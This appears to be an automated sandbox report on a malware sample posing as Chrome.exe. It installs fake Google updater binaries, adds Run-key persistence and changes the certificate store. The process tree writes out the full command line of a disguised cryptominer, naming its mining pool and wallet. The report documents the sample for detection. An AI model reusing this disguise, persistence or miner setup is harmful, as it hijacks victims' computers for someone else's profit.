Analysis
- max time kernel
151s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 12:20
General
- Target Chrome.exe
- Size 24.4MB
- Sample260930-phvnhseh64
- SHA256 1d1a37281626ad94aad571a4828b0b0994bfc4b7da2d14f121e0ef565c3afb62
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Chrome.exe"C:\Users\Admin\AppData\Local\Temp\Chrome.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\x4dofg2r\googleupdater.exe"C:\ProgramData\Google\Update\x4dofg2r\googleupdater.exe" /install22⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\x4dofg2r\crashpad_handler.exe"C:\ProgramData\Google\Update\x4dofg2r\crashpad_handler.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\x4dofg2r\chrome.exe"C:\ProgramData\Google\Update\x4dofg2r\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppukudqjtm2fvdnlrw9653xeuafkf3953vd3dtygz948k4fk7vkgqax6gjr.BBPDBRJCT4⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\Google\Update\x4dofg2r\chrome.exe"C:\ProgramData\Google\Update\x4dofg2r\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppukudqjtm2fvdnlrw9653xeuafkf3953vd3dtygz948k4fk7vkgqax6gjr.BBPDBRJCT3⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\Google\Update\x4dofg2r\googleupdater.exe"C:\ProgramData\Google\Update\x4dofg2r\googleupdater.exe" /run1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\x4dofg2r\chrome.exe"C:\ProgramData\Google\Update\x4dofg2r\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppukudqjtm2fvdnlrw9653xeuafkf3953vd3dtygz948k4fk7vkgqax6gjr.BBPDBRJCT2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
chrome.dll
chrome.exe
crashpad_handler.exe
googleupdater.exe
nvidia-smi.exe
memory/1108-82-0x00007FF717410000-0x00007FF71743D000-memory.dmp
memory/2616-39-0x00007FF62F760000-0x00007FF62F9A5000-memory.dmp
memory/2616-58-0x00007FF62F760000-0x00007FF62F9A5000-memory.dmp
memory/2616-57-0x0000000140000000-0x0000000140EA9000-memory.dmp
memory/3440-60-0x00007FF717410000-0x00007FF71743D000-memory.dmp
memory/5112-77-0x00007FF793A30000-0x00007FF793C75000-memory.dmp
memory/5112-7-0x0000000140000000-0x0000000140EA9000-memory.dmp
memory/5112-4-0x00007FF793A30000-0x00007FF793C75000-memory.dmp
memory/5112-2-0x0000000140000000-0x0000000140EA9000-memory.dmp
memory/5112-0-0x0000000140000000-0x0000000140EA9000-memory.dmp
memory/5260-31-0x00007FF7BC140000-0x00007FF7BC16D000-memory.dmp
memory/5280-49-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-52-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-38-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-62-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-65-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-68-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-71-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-74-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-79-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5280-84-0x00007FF753450000-0x00007FF753479000-memory.dmp
memory/5800-16-0x0000000140000000-0x0000000140EA9000-memory.dmp
memory/5800-8-0x00007FF62F760000-0x00007FF62F9A5000-memory.dmp